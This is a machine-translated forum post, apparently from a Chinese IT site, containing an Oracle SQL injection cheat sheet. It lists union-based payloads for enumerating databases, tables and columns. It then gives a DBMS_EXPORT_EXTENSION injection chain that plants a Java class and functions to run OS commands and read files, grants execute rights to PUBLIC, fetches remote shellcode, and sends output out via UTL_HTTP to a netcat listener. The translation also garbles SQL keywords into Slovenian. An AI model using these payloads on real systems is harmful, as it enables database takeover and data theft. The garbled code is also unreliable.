Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 11931|Odgovoriti: 0

[Varna komunikacija] SQL injection opombe oracle

[Kopiraj povezavo]
Objavljeno na 24. 01. 2015 12:58:17 | | |
Ta objava je bila nazadnje urejena s testom 24. 1. 2015 ob 13:01

Komentar: --
Izvrševanje več stavkov ni podprto, podpirajo pa se federativne poizvedbe
Imena baz podatkov, tabel in stolpcev so vsa zapisana z veliko začetnico.


dolžina(polje)
ascii(substr(field, N, 1))


in (izberi count(*) iz duala)>0 -- Določi, ali je orakl ali ne

Naročilo n--

in 1=2 unija izbere null, null,.....,null iz dual-- zamenjaj null z N ali 'N'

in 1=2 Union Select Null, (SQL stavek) ,.....,null iz duala -- spremeni v (sql stavek) na 'N'

in (izberite count(*) iz all_objects kjer object_name='UTL_HTTP')>0 -- Ugotovite, ali je UTL_HTTP podprt (izvozni IP je znan)

in UTL_HTTP.request('http://LocalIP:port'|| (SQL stavek)) =1-- Oddaljeno pošiljanje sporočil lokalno, lokalno poslušanje nc -vv -l -p 1234


SQL stavki
Izberite pasico iz sys.v_$version, kjer je rownum=1, da poizvedujete po Oracle verziji
izberi člana iz v$logfile, kjer rownum=1 Poizvedba po poti do log datoteke (Windows ali Linux)
izberite utl_inaddr.get_host_address iz dual za poizvedbo po IP-ju za poslušanje baze podatkov
Izberite instance_name iz v$instance za poizvedbo po SID
Izberite ime iz v$database Poizvedba po trenutnem imenu baze podatkov
Izberite sys_context ('userenv','current_user') iz uporabnikov baze z dvojnimi poizvedbami
Izberite * iz session_roles kjer je rownum=1 za poizvedbo po trenutnih uporabniških dovoljenjih
Izberi * iz session_roles kjer Rownum=1 [in vloga<>'ime prvega dovoljenja']



izberite table_name iz user_tables kjer je rownum=1 Prvi segment tabele trenutne baze podatkov
Select table_name||','|| tablespace_name iz user_tables kjer rownum=1 Prvi segment tabele, baza podatkov (za preverjanje morda ni v$database)
izberi table_name iz user_tables kjer je rownum=1 in table_name<>'prvi segment tabele' Drugi segment tabele trenutne baze podatkov

izberite column_name iz user_tab_columns kjer je rownum=1 in table_name='Segment tabele'. Prvo polje, ki ustreza imenu tabele
izberite column_name iz user_tab_columns kjer je rownum=1 in table_name='Segment tabele' ter column_name<>'Prvo polje' Drugo polje, ki ustreza imenu tabele

Izberite polje iz segmenta tabele, kjer rowum=1 krši vsebino prve vrstice
Izberite polje iz segmenta tabele, kjer je rownum=1, polje <> 'vsebina prve vrstice' pa razkriva vsebino druge vrstice


Medknjižnična povezava
Izberite lastnika iz all_tables kjer Rownum=1 poišče ime prve baze podatkov
Izberite lastnika iz all_tables kjer je rownum=1 in lastnik<> 'Ime prve baze podatkov' za poizvedbo po imenu druge baze podatkov

izberi table_name iz all_tables kjer je rownum=1 in owner='ime baze podatkov'. Poizvedba po prvi tabeli ustrezne baze podatkov
Izberite table_name iz all_tables kjer Rownum=1 in Owner='ime baze' ter table_name<>'ime prve tabele', da poizvedujete po imenu druge tabele ustrezne baze podatkov

Izberite column_name iz all_tab_columns kjer Rownum=1 in Owner='ime baze' ter table_name='segment tabele' Prvo polje, ki ustreza imenu tabele
Izberite column_name iz all_tab_columns kjer je rownum=1 in owner='ime baze podatkov' ter table_name='segment tabele' in column_name<>'prvo polje' Drugo polje, ki ustreza imenu tabele

Izberite polje iz baze podatkov. segment tabele, kjer rownum=1 krši vsebino prve vrstice
Izberite polje iz baze podatkov. Segment tabele, kjer je rownum=1 in polje <> 'Vsebina prve vrstice', krši vsebino druge vrstice





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); večstavčni KONEC; --','SYS',0,'1',0)--

Če je 'escaped, se uporabi chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Večstavek || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Če je več stavkov predolgih, lahko izjavo zapišete v datoteko na spletni strani in uporabite utl_http.request za pridobitev.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Ustvarite JAVA paket SecTest
runCMD se uporablja za izvajanje sistemskih ukazov
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVRŠI TAKOJ," RAZGLAŠA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', ustvarite ali zamenjajte in prevedite java izvorno kodo z imenom "SecTest" kot uvozni java.io.*; javni razred SecTest razširja Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrni moč; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--

readFile se uporablja za branje datoteke
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVRŠI TAKOJ," RAZGLAŠA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', ustvarite ali zamenjajte in prevedite java izvorno kodo z imenom "SecTest" kot uvozni java.io.*; javni razred SecTest razširja Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrni moč; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--



Podelitev Java dovoljenj
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE IZVAJATI TAKOJŠNJE DATOTEKE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<VSE DATOTEKE>>'''''''',''''''''izvedi''''''''); konec; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--



Ustvari funkcijo
Funkcija SecRunCMD
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''ustvari ali zamenjaj funkcijo SecRunCMD(p_cmd in varchar2) vrni varchar2 kot java ime jezika''''''''SecTest.runCMD(java.lang.String) vrni String'''''''' ; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--

Funkcija SecReadFile
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) vrni varchar2 kot ime jezika Java''''''''SecTest.readFile(java.lang.String) vrni String' '''''''; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--



Podelitev dovoljenja za izvajanje javne funkcije
SecRunCMD dobi dovoljenja
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE IZVAJATI TAKOJŠNJE ''''odobri vse na SecRunCMD javnosti'''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--

SecReadFile
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE TAKOJŠNJE IZVAJANJE '''''dodeli vse na SecReadFile javnosti'''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--



Zazna, ali je bila funkcija uspešno ustvarjena
in (izberi count(*) iz all_objects kjer object_name='SECRUNCMD')>0--
in (izberi count(*) iz all_objects kjer object_name='SECREADFILE')>0--



Izvedi ukaz
in '1'<> (izberi sys. SecRunCMD('Execute command') iz dual)--
in '1'<> (izberi sys. SecReadFile('fizični naslov datoteke') iz dual)--
ali
in 1=2 union select null,...,sys. SecRunCMD('izvrši ukaz'),...,null iz dual--
in 1=2 union select null,...,sys. SecReadFile('fizični naslov datoteke'),...,null iz dual--
ali
in '1'<>(izberi UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) iz dual)--
in '1'<>(izberi UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('fizični naslov datoteke'),' ',' ',','\n',' ')) iz dual)--



Funkcija brisanja
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--




Prejšnji:Ali lahko zaprosim za moderacijo, katere pogoje potrebujem?
Naslednji:ORALCE pridobi ime gostitelja in IP naslov
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com